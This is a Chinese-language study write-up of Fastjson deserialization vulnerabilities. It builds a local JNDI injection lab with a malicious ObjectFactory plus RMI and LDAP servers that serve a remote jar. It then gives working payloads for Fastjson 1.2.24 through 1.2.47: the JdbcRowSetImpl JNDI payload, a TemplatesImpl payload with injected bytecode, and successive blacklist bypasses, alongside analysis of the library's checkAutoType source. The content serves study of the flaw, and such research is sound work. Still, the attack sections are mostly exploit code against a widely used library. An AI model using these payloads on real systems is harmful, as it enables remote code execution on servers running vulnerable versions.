[toc]
Fastjson 反序列化 参考文章 JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)
FastJson 反序列化学习 (lmxspace.com)
Java Security (iv4n.cc)
Fastjson 反序列化漏洞史 (seebug.org)
Fastjson 流程分析及 RCE 分析 (seebug.org)
Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)
攻击Java Web应用 Java Web安全] (zhishihezi.net)
环境搭建 推荐使用IDEA
+MAVEN
,具体配置可以参考网上其他文章。
Java: 1.8.0_271-b09
JNDI-Reference from 攻击Java Web应用 Java Web安全] (zhishihezi.net)
使用创建恶意的ObjectFactory对象 ReferenceObjectFactory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com.fe1w0.jndi.injection;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;public class ReferenceObjectFactory implements ObjectFactory { public Object getObjectInstance (Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception { return Runtime.getRuntime().exec("calc.exe" ); } }
jar 打包为 jndi-test.jar
1 2 3 4 5 6 7 mkdir classes javac -d classes .\src\main\java\com\fe1w0\jndi\injection\ReferenceObjectFactory.ja va Main-Class: com.fe1w0.jndi.injection.ReferenceObjectFactory jar cfm jdni-test.jar .\MANIFEST.MF -C classes .
python 开启web服务
1 python3 -m http.server 8000
包含恶意攻击的RMI服务端 RMIReferenceServerTest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.fe1w0.jndi.injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;public class RMIReferenceServerTest { public static final String RMI_HOST = "127.0.0.1" ; public static final int RMI_PORT = 9527 ; public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test" ; public static void main (String[] args) { try { String url = "http://localhost/jndi-test.jar" ; String className = "com.fe1w0.jndi.injection.ReferenceObjectFactory" ; LocateRegistry.createRegistry(RMI_PORT); Reference reference = new Reference(className, className, url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); Naming.bind(RMI_NAME, referenceWrapper); System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME); } catch (Exception e) { e.printStackTrace(); } } }
RMI 客户端 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.fe1w0.jndi.injection;import javax.naming.InitialContext;import javax.naming.NamingException;import static com.fe1w0.jndi.injection.RMIReferenceServerTest.RMI_NAME;public class RMIReferenceClientTest { public static void main (String[] args) { try { System.setProperty("java.rmi.server.useCodebaseOnly" , "false" ); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); InitialContext context = new InitialContext(); Object obj = context.lookup(RMI_NAME); System.out.println(obj); } catch (NamingException e) { e.printStackTrace(); } } }
创建恶意的LDAP服务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 package com.fe1w0.jndi.injection;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;public class LDAPReferenceServerTest { public static final int SERVER_PORT = 3890 ; public static final String BIND_HOST = "127.0.0.1" ; public static final String LDAP_ENTRY_NAME = "test" ; public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME; public static final String REMOTE_REFERENCE_JAR = "http://localhost/jndi-test.jar" ; private static final String LDAP_BASE = "dc=xzaslxr,dc=xyz" ; public static void main (String[] args) { try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen" , InetAddress.getByName(BIND_HOST), SERVER_PORT, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()) ); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); ds.startListening(); System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry entry = new Entry(base); try { String className = "com.fe1w0.jndi.injection.ReferenceObjectFactory" ; entry.addAttribute("javaClassName" , className); entry.addAttribute("javaFactory" , className); entry.addAttribute("javaCodeBase" , REMOTE_REFERENCE_JAR); entry.addAttribute("objectClass" , "javaNamingReference" ); result.sendSearchEntry(entry); result.setResult(new LDAPResult(0 , ResultCode.SUCCESS)); } catch (Exception e1) { e1.printStackTrace(); } } } }
LDAP客户端代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.fe1w0.jndi.injection;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import static com.fe1w0.jndi.injection.LDAPReferenceServerTest.LDAP_URL;public class LDAPReferenceClientTest { public static void main (String[] args) { try { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" , "true" ); Context ctx = new InitialContext(); Object obj = ctx.lookup(LDAP_URL); System.out.println(obj); } catch (NamingException e) { e.printStackTrace(); } } }
简单Demo (fastjson=1.2.24) From
Fastjson 反序列化漏洞史 (seebug.org)
FastJson 反序列化学习 (lmxspace.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package com.fe1w0.test;public class User { private String name; private int age; private boolean flag; public String sex; public String address; public User () { System.out.println("call User default Constructor" ); } public String getName () { System.out.println("call User getName" ); return name; } public void setName (String name) { System.out.println("call User setName" ); this .name = name; } public int getAge () { System.out.println("call User getAge" ); return age; } public void setAge (int age) { System.out.println("call User setAge" ); this .age = age; } public boolean isFlag () { System.out.println("call User isFlag" ); return flag; } public void setFlag (boolean flag) { System.out.println("call User setFlag" ); this .flag = flag; } public void setSex (String sex) { System.out.println("call User setSex" ); this .sex = sex; } public String getSex () { System.out.println("call User getSex" ); return this .sex; } @Override public String toString () { return "User{" + "name='" + name + '\'' + ", age=" + age + ", flag=" + flag + ", sex='" + sex + '\'' + ", address='" + address + '\'' + '}' ; } }
需要注意的是setter、getter 的设置
set开头的方法要求如下:
方法名长度大于4且以set开头,且第四个字母要是大写
非静态方法
返回类型为void或当前类
参数个数为1个
get开头的方法要求如下:
方法名长度大于等于4
非静态方法
以get开头且第4个字母为大写
无传入参数
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
可以见JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package com.fe1w0.test;import com.alibaba.fastjson.JSON;public class TestFastjson { public static void main (String[] args) { String serializedStr = "{\"@type\":\"om.fe1w0.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}" ; System.out.println("serializedStr=" + serializedStr); System.out.println("-----------------------------------------------\n\n" ); System.out.println("JSON.parse(serializedStr):" ); Object obj1 = JSON.parse(serializedStr); System.out.println("parse反序列化对象名称:" + obj1.getClass().getName()); System.out.println("parse反序列化:" + obj1); System.out.println("-----------------------------------------------\n" ); System.out.println("JSON.parseObject(serializedStr):" ); Object obj2 = JSON.parseObject(serializedStr); System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName()); System.out.println("parseObject反序列化:" + obj2); System.out.println("-----------------------------------------------\n" ); System.out.println("JSON.parseObject(serializedStr, Object.class):" ); Object obj3 = JSON.parseObject(serializedStr, Object.class); System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName()); System.out.println("parseObject反序列化:" + obj3); System.out.println("-----------------------------------------------\n" ); System.out.println("JSON.parseObject(serializedStr, User.class):" ); Object obj4 = JSON.parseObject(serializedStr, User.class); System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName()); System.out.println("parseObject反序列化:" + obj4); System.out.println("-----------------------------------------------\n" ); } }
Output:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 serializedStr={"@type":"com.fe1w0.test.User","name":"fe1w0","age":11, "flag": true,"sex":"boy","address":"china"} ----------------------------------------------- JSON.parse(serializedStr): call User default Constructor call User setName call User setAge call User setFlag call User setSex parse反序列化对象名称:com.fe1w0.test.User parse反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'} ----------------------------------------------- JSON.parseObject(serializedStr): call User default Constructor call User setName call User setAge call User setFlag call User setSex call User getAge call User isFlag call User getName call User getSex parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject parseObject反序列化:{"address":"china","flag":true,"sex":"boy","name":"fe1w0","age":11} ----------------------------------------------- JSON.parseObject(serializedStr, Object.class): call User default Constructor call User setName call User setAge call User setFlag call User setSex parseObject反序列化对象名称:com.fe1w0.test.User parseObject反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'} ----------------------------------------------- JSON.parseObject(serializedStr, User.class): call User default Constructor call User setName call User setAge call User setFlag call User setSex parseObject反序列化对象名称:com.fe1w0.test.User parseObject反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'} -----------------------------------------------
根据上面输出,可以得到下面以下结论(注意Fastjson版本)
JSON.parse(serializedStr)
但@type
是正确的时候,会根据@type
来选择解析,否则解析为JSONObject
JSON.parseObject(serializedStr)
解析为JSONObject
,但会根据根据@type
的解析类生成。若@type
是不正确的时候,会直接为JSON字符串
JSON.parseObject(serializedStr, Object.class)
@type
是正确的时候,会根据@type
来选择解析,否则解析为JSONObject
JSON.parseObject(serializedStr, User.class)
@type
是正确的时候,会根据@type
来选择解析,否则会报错type not match
其中底层源代码分析,可以看(具体分析,自己看完还是有点乱😢)
FastJson 反序列化学习 (lmxspace.com)
@type
指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes
与_name
都是私有属性,所以要想反序列化这两个,需要在parseObject()
时设置Feature.SupportNonPublicField
_bytecodes
是我们把恶意类的.class文件二进制格式进行base64编码后得到的字符串
_outputProperties
漏洞利用链的关键会调用其参数的getOutputProperties方法 导致命令执行
_tfactory:{}
在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值
ver<=1.2.24 1.2.24及之前没有任何防御,并且autotype默认开启
payload: (fastjson=1.2.24 java=1.8.0_181)
1 2 3 4 5 6 7 8 9 10 11 12 package com.fe1w0.fastjson.test;import com.alibaba.fastjson.JSON;public class testJdbcRowSetImpl { public static void main (String[] args) { String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}" ; JSON.parse(payload); } }
大致原理
from 攻击Java Web应用 Java Web安全] (zhishihezi.net)
FastJson
在反序列化JSON
对象时候会通过反射自动创建类实例且FastJson
会根据传入的JSON
字段间接的调用类成员变量的setXXX
方法。FastJson
这个反序列化功能看似无法实现RCE
,但是有人找出多个符合JNDI
注入漏洞利用条件的Java
类(如:com.sun.rowset.JdbcRowSetImpl
)从而实现了RCE
。
JdbcRowSetImpl示例:
1 2 3 4 5 6 7 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="com.sun.rowset.JdbcRowSetImpl" %> <% JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName(request.getParameter("url" )); jdbcRowSet.setAutoCommit(true ); %>
假设我们能够动态的创建出JdbcRowSetImpl
类实例且可以间接的调用setDataSourceName
和setAutoCommit
方法,那么就有可能实现JNDI
注入攻击。FastJson
使用JdbcRowSetImpl
实现JNDI
注入攻击的大致的流程如下:
反射创建com.sun.rowset.JdbcRowSetImpl
对象。
反射调用setDataSourceName
方法,设置JNDI
的URL
。
反射调用setAutoCommit
方法,该方法会试图使用JNDI
获取数据源(DataSource
)对象。
调用lookup
方法去查找我们注入的URL
所绑定的恶意的JNDI
远程引用对象。
执行恶意的类对象工厂方法实现RCE。
payload (fastjson=1.2.24 java=1.8.0_181))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package com.fe1w0.fastjson.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.codec.binary.Base64;public class testTemplatesImpl { public static void main (String[] args) throws Exception { String evilCode_base64 = readClass(); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; String payload = "{'rand1':{" + "\"@type\":\"" + NASTY_CLASS + "\"," + "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," + "'_name':'aaa'," + "'_tfactory':{}," + "'_outputProperties':{}" + "}}\n" ; System.out.println(payload); JSON.parse(payload, Feature.SupportNonPublicField); } public static class AaAa { } public static String readClass () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(AaAa.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "AaAa" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); byte [] evilCode = cc.toBytecode(); return Base64.encodeBase64String(evilCode); } }
漏洞分析可以看
[fastjson 远程反序列化poc的构造和分析 | xxlegend](http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/)
ver>=1.2.25&ver<=1.2.41 @type
添加L
和;
绕过ver=1.2.24时,添加AutoTypeSupport
,默认不允许使用autotype
,且加入了采用黑名单和白名单检查型式的checkAutotype
函数
checkAutotype
(ver =1.2.41)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null ) { return null ; } else if (typeName.length() >= 128 ) { throw new JSONException("autoType is not support. " + typeName); } else { String className = typeName.replace('$' , '.' ); Class<?> clazz = null ; int mask; String accept; if (this .autoTypeSupport || expectClass != null ) { for (mask = 0 ; mask < this .acceptList.length; ++mask) { accept = this .acceptList[mask]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); if (clazz != null ) { return clazz; } } } for (mask = 0 ; mask < this .denyList.length; ++mask) { accept = this .denyList[mask]; if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException("autoType is not support. " + typeName); } } } if (clazz == null ) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null ) { clazz = this .deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this .autoTypeSupport) { for (mask = 0 ; mask < this .denyList.length; ++mask) { accept = this .denyList[mask]; if (className.startsWith(accept)) { throw new JSONException("autoType is not support. " + typeName); } } for (mask = 0 ; mask < this .acceptList.length; ++mask) { accept = this .acceptList[mask]; if (className.startsWith(accept)) { if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); } if (clazz != null ) { if (TypeUtils.getAnnotation(clazz, JSONType.class) != null ) { return clazz; } if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) { throw new JSONException("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this .propertyNamingStrategy); if (beanInfo.creatorConstructor != null && this .autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } } mask = Feature.SupportAutoType.mask; boolean autoTypeSupport = this .autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0 ; if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } else { return clazz; } } } }
我们已一开始的testJdbcRowSetImpl
进行debug,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.fe1w0.fastjson.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class testJdbcRowSetImpl { public static void main (String[] args) { String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}" ; ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); JSON.parse(payload); } }
发现throw
发生在以下检查中对黑名单的检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (this .autoTypeSupport || expectClass != null ) { for (mask = 0 ; mask < this .acceptList.length; ++mask) { accept = this .acceptList[mask]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); if (clazz != null ) { return clazz; } } } for (mask = 0 ; mask < this .denyList.length; ++mask) { accept = this .denyList[mask]; if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException("autoType is not support. " + typeName); } } }
我们可以将在@type
前面添加L
和;
以绕过上面对黑名单的检测,如Lcom.sun.rowset.JdbcRowSetImpl;
因在@type
前面添加L
和;
的形式,可以被 TypeUtils.LoadClass
处理
1 2 3 4 5 6 7 8 9 10 11 12 public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { if (className != null && className.length() != 0 ) { Class<?> clazz = (Class)mappings.get(className); if (clazz != null ) { return clazz; } else if (className.charAt(0 ) == '[' ) { Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } else if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } else {
Payload
1 payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}" ;
ver=1.2.42 双写L
和;
绕过 大致流程还是和之前一样,多了
1 2 3 if (((-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ^ (long )className.charAt(className.length() - 1 )) * 1099511628211L == 655701488918567152L ) { className = className.substring(1 , className.length() - 1 ); }
会将前后L
、;
去掉,并将原来的将黑名单转换成了类名十进制hash
payload
1 payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}" ;
ver=1.2.43 []
形式绕过1.2.43对于1.2.42的绕过修复方式:
在第一个if条件之下(L
开头,;
结尾),又加了一个以LL
开头的条件,如果第一个条件满足并且以LL
开头,直接抛异常。所以这种修复方式没法在绕过了。但是上面的loadclass除了L
和;
做了特殊处理外,[
也被特殊处理了,又再次绕过了checkAutoType:
payload
1 payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://localhost:3890/test\",\"autoCommit\":true]}}\n" ;
ver=1.2.45 绕过黑名单,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
1 payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://localhost:3890/test\"}}" ;
ver=1.2.47 from
Java Security | Iv4n’s Blog
通过缓存,无需开启autotype
1 payload = = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}}" ;
详细见 FastJson 反序列化学习 (lmxspace.com)
ver=1.2.48 修补: 将cache默认设置为false
,无法再利用缓存